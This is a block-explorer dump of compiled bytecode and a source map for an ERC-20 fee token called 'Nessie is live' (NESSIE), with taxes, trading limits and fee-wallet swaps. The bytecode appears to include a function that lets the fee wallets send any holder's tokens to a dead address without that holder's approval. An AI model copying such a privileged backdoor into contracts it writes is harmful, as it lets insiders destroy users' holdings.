9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e9190611a2c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adf9190611a2c565b601380546001600160a01b0319166001600160a01b03929092169190911790556000610b0a30610526565b601254909150610b259030906001600160a01b031683610be1565b6012546001600160a01b031663f305d719343084600080610b4e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bdb9190611a49565b50505050565b6001600160a01b038316610c435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b038216610ca45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610572565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610572565b60008111610e2d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610572565b6001600160a01b03831660009081526005602052604090205460ff16158015610e6f57506001600160a01b03821660009081526005602052604090205460ff16155b1561106757601354600160a01b900460ff16610ef35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610572565b601454811115610f455760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610572565b6013546001600160a01b03838116911614610fca5760155481610f6784610526565b610f719190611a8d565b10610fca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610572565b6000610fd530610526565b905060006016548210158015610fed57506016548310155b90506014548210610ffe5760145491505b8080156110155750601354600160a81b900460ff16155b801561102f57506013546001600160a01b03868116911614155b80156110445750601354600160b01b900460ff165b15611064576110528261125a565b47801561106257611062476113d4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110a957506001600160a01b03831660009081526005602052604090205460ff165b806110db57506013546001600160a01b038581169116148015906110db57506013546001600160a01b03848116911614155b156110e857506000611162565b6013546001600160a01b03858116911614801561111357506012546001600160a01b03848116911614155b1561112557600854600c55600954600d555b6013546001600160a01b03848116911614801561115057506012546001600160a01b03858116911614155b1561116257600a54600c55600b54600d555b610bdb848484846111a8565b600081848411156111925760405162461bcd60e51b8152600401610572919061189f565b50600061119f8486611aa0565b95945050505050565b806111b5576111b5611414565b6111c0848484611442565b80610bdb57610bdb600e54600c55600f54600d55565b600060065482111561123d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610572565b6000611247611539565b9050611253838261155c565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a2576112a2611ab3565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131f9190611a2c565b8160018151811061133257611332611ab3565b6001600160a01b0392831660209182029290920101526012546113589130911684610be1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611391908590600090869030904290600401611ac9565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b801561085a576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610522573d6000803e3d6000fd5b600c541580156114245750600d54155b1561142b57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114548761159e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061148690876115fb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b5908661163d565b6001600160a01b0389166000908152600260205260409020556114d78161169c565b6114e184836116e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152691815260200190565b60405180910390a3505050505050505050565b600080600061154661170a565b9092509050611555828261155c565b9250505090565b600061125383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174a565b60008060008060008060008060006115bb8a600c54600d54611778565b92509250925060006115cb611539565b905060008060006115de8e8787876117cd565b919e509c509a509598509396509194505050505091939550919395565b600061125383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116e565b60008061164a8385611a8d565b9050838110156112535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610572565b60006116a6611539565b905060006116b4838361181d565b306000908152600260205260409020549091506116d1908261163d565b30600090815260026020526040902055505050565b6006546116f390836115fb565b600655600754611703908261163d565b6007555050565b6006546000908190670de0b6b3a7640000611725828261155c565b82101561174157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361176b5760405162461bcd60e51b8152600401610572919061189f565b50600061119f8486611b3a565b6000808080611792606461178c898961181d565b9061155c565b905060006117a5606461178c8a8961181d565b905060006117bd826117b78b866115fb565b906115fb565b9992985090965090945050505050565b60008080806117dc888661181d565b905060006117ea888761181d565b905060006117f8888861181d565b9050600061180a826117b786866115fb565b939b939a50919850919650505050505050565b60008260000361182f57506000610466565b600061183b8385611b5c565b9050826118488583611b3a565b146112535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610572565b600060208083528351808285015260005b818110156118cc578581018301518582016040015282016118b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085a57600080fd5b6000806040838503121561191557600080fd5b8235611920816118ed565b946020939093013593505050565b60008060006060848603121561194357600080fd5b833561194e816118ed565b9250602084013561195e816118ed565b929592945050506040919091013590565b60006020828403121561198157600080fd5b8135611253816118ed565b600080600080608085870312156119a257600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156119d157600080fd5b82356119dc816118ed565b915060208301356119ec816118ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a3e57600080fd5b8151611253816118ed565b600080600060608486031215611a5e57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561046657610466611a77565b8181038181111561046657610466611a77565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b195784516001600160a01b031683529383019391830191600101611af4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b5757634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761046657610466611a7756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220061ca672f240b79febc5a140e02274fe56de11c2cfad6cf76dddb4af88dce36264736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063c3c8cd801161006f578063c3c8cd80146103a6578063da0ebc62146103bb578063dd62ed3e146103d1578063f2fde38b14610417578063f7f23a0c14610437578063f8f3c5a91461043f57600080fd5b8063751039fc146102ef5780638a8c523c146103045780638da5cb5b1461031957806395d89b4114610337578063a44379f414610366578063a9059cbb1461038657600080fd5b8063313ce56711610108578063313ce5671461024657806349bd5a5e146102625780635edbd8861461028257806361e8029f146102a457806370a08231146102ba578063715018a6146102da57600080fd5b806306fdde0314610150578063095ea7b3146101995780631694505e146101c957806318160ddd1461020157806323b872dd1461022657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600e81526d4e6573736965206973206c69766560901b60208201525b604051610190919061189f565b60405180910390f35b3480156101a557600080fd5b506101b96101b4366004611902565b610455565b6040519015158152602001610190565b3480156101d557600080fd5b506012546101e9906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020d57600080fd5b50670de0b6b3a76400005b604051908152602001610190565b34801561023257600080fd5b506101b961024136600461192e565b61046c565b34801561025257600080fd5b5060405160098152602001610190565b34801561026e57600080fd5b506013546101e9906001600160a01b031681565b34801561028e57600080fd5b506102a261029d366004611902565b6104d5565b005b3480156102b057600080fd5b5061021860165481565b3480156102c657600080fd5b506102186102d536600461196f565b610526565b3480156102e657600080fd5b506102a2610548565b3480156102fb57600080fd5b506102a26105c5565b34801561031057600080fd5b506102a2610602565b34801561032557600080fd5b506000546001600160a01b03166101e9565b34801561034357600080fd5b506040805180820190915260068152654e455353494560d01b6020820152610183565b34801561037257600080fd5b506102a261038136600461198c565b610645565b34801561039257600080fd5b506101b96103a1366004611902565b6107f9565b3480156103b257600080fd5b506102a2610806565b3480156103c757600080fd5b5061021860155481565b3480156103dd57600080fd5b506102186103ec3660046119be565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042357600080fd5b506102a261043236600461196f565b61085d565b6102a2610947565b34801561044b57600080fd5b5061021860145481565b6000610462338484610be1565b5060015b92915050565b6000610479848484610d05565b6104cb84336104c685604051806060016040528060288152602001611b74602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061116e565b610be1565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316148061050a57506011546001600160a01b0316336001600160a01b0316145b61051357600080fd5b6105228261dead8360006111a8565b5050565b6001600160a01b038116600090815260026020526040812054610466906111d6565b6000546001600160a01b0316331461057b5760405162461bcd60e51b8152600401610572906119f7565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105ef5760405162461bcd60e51b8152600401610572906119f7565b670de0b6b3a76400006014819055601555565b6000546001600160a01b0316331461062c5760405162461bcd60e51b8152600401610572906119f7565b6013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b8152600401610572906119f7565b60038411156106ce5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420332560d81b6064820152608401610572565b60058211156107295760405162461bcd60e51b815260206004820152602160248201527f42757920746178206d757374206265206265747765656e20302520616e6420356044820152602560f81b6064820152608401610572565b60038311156107895760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420332560d01b6064820152608401610572565b60058111156107e55760405162461bcd60e51b815260206004820152602260248201527f53656c6c20746178206d757374206265206265747765656e20302520616e6420604482015261352560f01b6064820152608401610572565b600893909355600a91909155600955600b55565b6000610462338484610d05565b6010546001600160a01b0316336001600160a01b0316148061083b57506011546001600160a01b0316336001600160a01b0316145b61084457600080fd5b600061084f30610526565b905061085a8161125a565b50565b6000546001600160a01b031633146108875760405162461bcd60e51b8152600401610572906119f7565b6001600160a01b0381166108ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610572565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146109715760405162461bcd60e51b8152600401610572906119f7565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e89190611a2c565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6e9190611a2c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610adf9190611a2c565b601380546001600160a01b0319166001600160a01b03929092169190911790556000610b0a30610526565b601254909150610b259030906001600160a01b031683610be1565b6012546001600160a01b031663f305d719343084600080610b4e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bdb9190611a49565b50505050565b6001600160a01b038316610c435760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610572565b6001600160a01b038216610ca45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610572565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610572565b6001600160a01b038216610dcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610572565b60008111610e2d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610572565b6001600160a01b03831660009081526005602052604090205460ff16158015610e6f57506001600160a01b03821660009081526005602052604090205460ff16155b1561106757601354600160a01b900460ff16610ef35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610572565b601454811115610f455760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610572565b6013546001600160a01b03838116911614610fca5760155481610f6784610526565b610f719190611a8d565b10610fca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610572565b6000610fd530610526565b905060006016548210158015610fed57506016548310155b90506014548210610ffe5760145491505b8080156110155750601354600160a81b900460ff16155b801561102f57506013546001600160a01b03868116911614155b80156110445750601354600160b01b900460ff165b15611064576110528261125a565b47801561106257611062476113d4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110a957506001600160a01b03831660009081526005602052604090205460ff165b806110db57506013546001600160a01b038581169116148015906110db57506013546001600160a01b03848116911614155b156110e857506000611162565b6013546001600160a01b03858116911614801561111357506012546001600160a01b03848116911614155b1561112557600854600c55600954600d555b6013546001600160a01b03848116911614801561115057506012546001600160a01b03858116911614155b1561116257600a54600c55600b54600d555b610bdb848484846111a8565b600081848411156111925760405162461bcd60e51b8152600401610572919061189f565b50600061119f8486611aa0565b95945050505050565b806111b5576111b5611414565b6111c0848484611442565b80610bdb57610bdb600e54600c55600f54600d55565b600060065482111561123d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610572565b6000611247611539565b9050611253838261155c565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a2576112a2611ab3565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131f9190611a2c565b8160018151811061133257611332611ab3565b6001600160a01b0392831660209182029290920101526012546113589130911684610be1565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790611391908590600090869030904290600401611ac9565b600060405180830381600087803b1580156113ab57600080fd5b505af11580156113bf573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b801561085a576011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610522573d6000803e3d6000fd5b600c541580156114245750600d54155b1561142b57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114548761159e565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061148690876115fb565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114b5908661163d565b6001600160a01b0389166000908152600260205260409020556114d78161169c565b6114e184836116e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161152691815260200190565b60405180910390a3505050505050505050565b600080600061154661170a565b9092509050611555828261155c565b9250505090565b600061125383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174a565b60008060008060008060008060006115bb8a600c54600d54611778565b92509250925060006115cb611539565b905060008060006115de8e8787876117cd565b919e509c509a509598509396509194505050505091939550919395565b600061125383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116e565b60008061164a8385611a8d565b9050838110156112535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610572565b60006116a6611539565b905060006116b4838361181d565b306000908152600260205260409020549091506116d1908261163d565b30600090815260026020526040902055505050565b6006546116f390836115fb565b600655600754611703908261163d565b6007555050565b6006546000908190670de0b6b3a7640000611725828261155c565b82101561174157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361176b5760405162461bcd60e51b8152600401610572919061189f565b50600061119f8486611b3a565b6000808080611792606461178c898961181d565b9061155c565b905060006117a5606461178c8a8961181d565b905060006117bd826117b78b866115fb565b906115fb565b9992985090965090945050505050565b60008080806117dc888661181d565b905060006117ea888761181d565b905060006117f8888861181d565b9050600061180a826117b786866115fb565b939b939a50919850919650505050505050565b60008260000361182f57506000610466565b600061183b8385611b5c565b9050826118488583611b3a565b146112535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610572565b600060208083528351808285015260005b818110156118cc578581018301518582016040015282016118b0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085a57600080fd5b6000806040838503121561191557600080fd5b8235611920816118ed565b946020939093013593505050565b60008060006060848603121561194357600080fd5b833561194e816118ed565b9250602084013561195e816118ed565b929592945050506040919091013590565b60006020828403121561198157600080fd5b8135611253816118ed565b600080600080608085870312156119a257600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156119d157600080fd5b82356119dc816118ed565b915060208301356119ec816118ed565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a3e57600080fd5b8151611253816118ed565b600080600060608486031215611a5e57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561046657610466611a77565b8181038181111561046657610466611a77565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b195784516001600160a01b031683529383019391830191600101611af4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b5757634e487b7160e01b600052601260045260246000fd5b500490565b808202811582820484141761046657610466611a7756fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220061ca672f240b79febc5a140e02274fe56de11c2cfad6cf76dddb4af88dce36264736f6c63430008130033

Deployed Bytecode Sourcemap

4223:13238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6466:83;;;;;;;;;;-1:-1:-1;6536:5:0;;;;;;;;;;;;-1:-1:-1;;;6536:5:0;;;;6466:83;;;;;;;:::i;:::-;;;;;;;;7398:193;;;;;;;;;;-1:-1:-1;7398:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7398:193:0;1023:187:1;5482:41:0;;;;;;;;;;-1:-1:-1;5482:41:0;;;;-1:-1:-1;;;;;5482:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5482:41:0;1215:229:1;6746:95:0;;;;;;;;;;-1:-1:-1;4780:21:0;6746:95;;;1595:25:1;;;1583:2;1568:18;6746:95:0;1449:177:1;7600:446:0;;;;;;;;;;-1:-1:-1;7600:446:0;;;;;:::i;:::-;;:::i;6654:83::-;;;;;;;;;;-1:-1:-1;6654:83:0;;4452:1;2234:36:1;;2222:2;2207:18;6654:83:0;2092:184:1;5530:28:0;;;;;;;;;;-1:-1:-1;5530:28:0;;;;-1:-1:-1;;;;;5530:28:0;;;12195:218;;;;;;;;;;-1:-1:-1;12195:218:0;;;;;:::i;:::-;;:::i;:::-;;5791:54;;;;;;;;;;;;;;;;6850:138;;;;;;;;;;-1:-1:-1;6850:138:0;;;;;:::i;:::-;;:::i;1696:148::-;;;;;;;;;;;;;:::i;16531:117::-;;;;;;;;;;;;;:::i;17350:108::-;;;;;;;;;;;;;:::i;1480:79::-;;;;;;;;;;-1:-1:-1;1518:7:0;1545:6;-1:-1:-1;;;;;1545:6:0;1480:79;;6558:87;;;;;;;;;;-1:-1:-1;6630:7:0;;;;;;;;;;;;-1:-1:-1;;;6630:7:0;;;;6558:87;;15830:693;;;;;;;;;;-1:-1:-1;15830:693:0;;;;;:::i;:::-;;:::i;6997:199::-;;;;;;;;;;-1:-1:-1;6997:199:0;;;;;:::i;:::-;;:::i;11951:236::-;;;;;;;;;;;;;:::i;5731:52::-;;;;;;;;;;;;;;;;7205:184;;;;;;;;;;-1:-1:-1;7205:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7354:18:0;;;7322:7;7354:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7205:184;1853:244;;;;;;;;;;-1:-1:-1;1853:244:0;;;;;:::i;:::-;;:::i;16656:686::-;;;:::i;5675:48::-;;;;;;;;;;;;;;;;7398:193;7500:4;7522:39;309:10;7545:7;7554:6;7522:8;:39::i;:::-;-1:-1:-1;7579:4:0;7398:193;;;;;:::o;7600:446::-;7732:4;7749:36;7759:6;7767:9;7778:6;7749:9;:36::i;:::-;7796:220;7819:6;309:10;7867:138;7923:6;7867:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7867:19:0;;;;;;:11;:19;;;;;;;;309:10;7867:33;;;;;;;;;;:37;:138::i;:::-;7796:8;:220::i;:::-;-1:-1:-1;8034:4:0;7600:446;;;;;:::o;12195:218::-;12287:19;;-1:-1:-1;;;;;12287:19:0;309:10;-1:-1:-1;;;;;12271:35:0;;:72;;;-1:-1:-1;12326:17:0;;-1:-1:-1;;;;;12326:17:0;309:10;-1:-1:-1;;;;;12310:33:0;;12271:72;12263:81;;;;;;12355:50;12370:2;12382:6;12391;12399:5;12355:14;:50::i;:::-;12195:218;;:::o;6850:138::-;-1:-1:-1;;;;;6963:16:0;;6916:7;6963:16;;;:7;:16;;;;;;6943:37;;:19;:37::i;1696:148::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;;;;;;;;;1803:1:::1;1787:6:::0;;1766:40:::1;::::0;-1:-1:-1;;;;;1787:6:0;;::::1;::::0;1766:40:::1;::::0;1803:1;;1766:40:::1;1834:1;1817:19:::0;;-1:-1:-1;;;;;;1817:19:0::1;::::0;;1696:148::o;16531:117::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;4780:21:::1;16583:11;:21:::0;;;16615:15:::1;:25:::0;16531:117::o;17350:108::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;17403:11:::1;:18:::0;;-1:-1:-1;;;;17432:18:0;-1:-1:-1;;;17432:18:0;;;17350:108::o;15830:693::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;16017:1:::1;16000:13;:18;;15970:90;;;::::0;-1:-1:-1;;;15970:90:0;;4087:2:1;15970:90:0::1;::::0;::::1;4069:21:1::0;4126:2;4106:18;;;4099:30;4165:34;4145:18;;;4138:62;-1:-1:-1;;;4216:18:1;;;4209:35;4261:19;;15970:90:0::1;3885:401:1::0;15970:90:0::1;16114:1;16099:11;:16;;16071:82;;;::::0;-1:-1:-1;;;16071:82:0;;4493:2:1;16071:82:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:34;4551:18;;;4544:62;-1:-1:-1;;;4622:18:1;;;4615:31;4663:19;;16071:82:0::1;4291:397:1::0;16071:82:0::1;16213:1;16195:14;:19;;16164:93;;;::::0;-1:-1:-1;;;16164:93:0;;4895:2:1;16164:93:0::1;::::0;::::1;4877:21:1::0;4934:2;4914:18;;;4907:30;4973:34;4953:18;;;4946:62;-1:-1:-1;;;5024:18:1;;;5017:36;5070:19;;16164:93:0::1;4693:402:1::0;16164:93:0::1;16313:1;16297:12;:17;;16268:85;;;::::0;-1:-1:-1;;;16268:85:0;;5302:2:1;16268:85:0::1;::::0;::::1;5284:21:1::0;5341:2;5321:18;;;5314:30;5380:34;5360:18;;;5353:62;-1:-1:-1;;;5431:18:1;;;5424:32;5473:19;;16268:85:0::1;5100:398:1::0;16268:85:0::1;16366:14;:30:::0;;;;16407:15:::1;:32:::0;;;;16450:12:::1;:26:::0;16487:13:::1;:28:::0;15830:693::o;6997:199::-;7102:4;7124:42;309:10;7148:9;7159:6;7124:9;:42::i;11951:236::-;12017:19;;-1:-1:-1;;;;;12017:19:0;309:10;-1:-1:-1;;;;;12001:35:0;;:72;;;-1:-1:-1;12056:17:0;;-1:-1:-1;;;;;12056:17:0;309:10;-1:-1:-1;;;;;12040:33:0;;12001:72;11993:81;;;;;;12085:23;12111:24;12129:4;12111:9;:24::i;:::-;12085:50;;12146:33;12163:15;12146:16;:33::i;:::-;11982:205;11951:236::o;1853:244::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1942:22:0;::::1;1934:73;;;::::0;-1:-1:-1;;;1934:73:0;;5705:2:1;1934:73:0::1;::::0;::::1;5687:21:1::0;5744:2;5724:18;;;5717:30;5783:34;5763:18;;;5756:62;-1:-1:-1;;;5834:18:1;;;5827:36;5880:19;;1934:73:0::1;5503:402:1::0;1934:73:0::1;2044:6;::::0;;2023:38:::1;::::0;-1:-1:-1;;;;;2023:38:0;;::::1;::::0;2044:6;::::1;::::0;2023:38:::1;::::0;::::1;2072:6;:17:::0;;-1:-1:-1;;;;;;2072:17:0::1;-1:-1:-1::0;;;;;2072:17:0;;;::::1;::::0;;;::::1;::::0;;1853:244::o;16656:686::-;1608:6;;-1:-1:-1;;;;;1608:6:0;309:10;1608:22;1600:67;;;;-1:-1:-1;;;1600:67:0;;;;;;;:::i;:::-;16748:15:::1;;;;;;;;;-1:-1:-1::0;;;;;16748:15:0::1;-1:-1:-1::0;;;;;16748:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16730:69:0::1;;16808:4;16815:15;;;;;;;;;-1:-1:-1::0;;;;;16815:15:0::1;-1:-1:-1::0;;;;;16815:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16730:108;::::0;-1:-1:-1;;;;;;16730:108:0::1;::::0;;;;;;-1:-1:-1;;;;;6396:15:1;;;16730:108:0::1;::::0;::::1;6378:34:1::0;6448:15;;6428:18;;;6421:43;6313:18;;16730:108:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16714:13;:124:::0;;-1:-1:-1;;;;;;16714:124:0::1;-1:-1:-1::0;;;;;16714:124:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;16873:24:0::1;16891:4;16873:9;:24::i;:::-;17009:15;::::0;16851:46;;-1:-1:-1;16977:62:0::1;::::0;16994:4:::1;::::0;-1:-1:-1;;;;;17009:15:0::1;16851:46:::0;16977:8:::1;:62::i;:::-;17082:15;::::0;-1:-1:-1;;;;;17082:15:0::1;:31;17121:9;17154:4;17174:11:::0;17082:15:::1;::::0;17286:7:::1;1518::::0;1545:6;-1:-1:-1;;;;;1545:6:0;;1480:79;17286:7:::1;17082:252;::::0;::::1;::::0;;;-1:-1:-1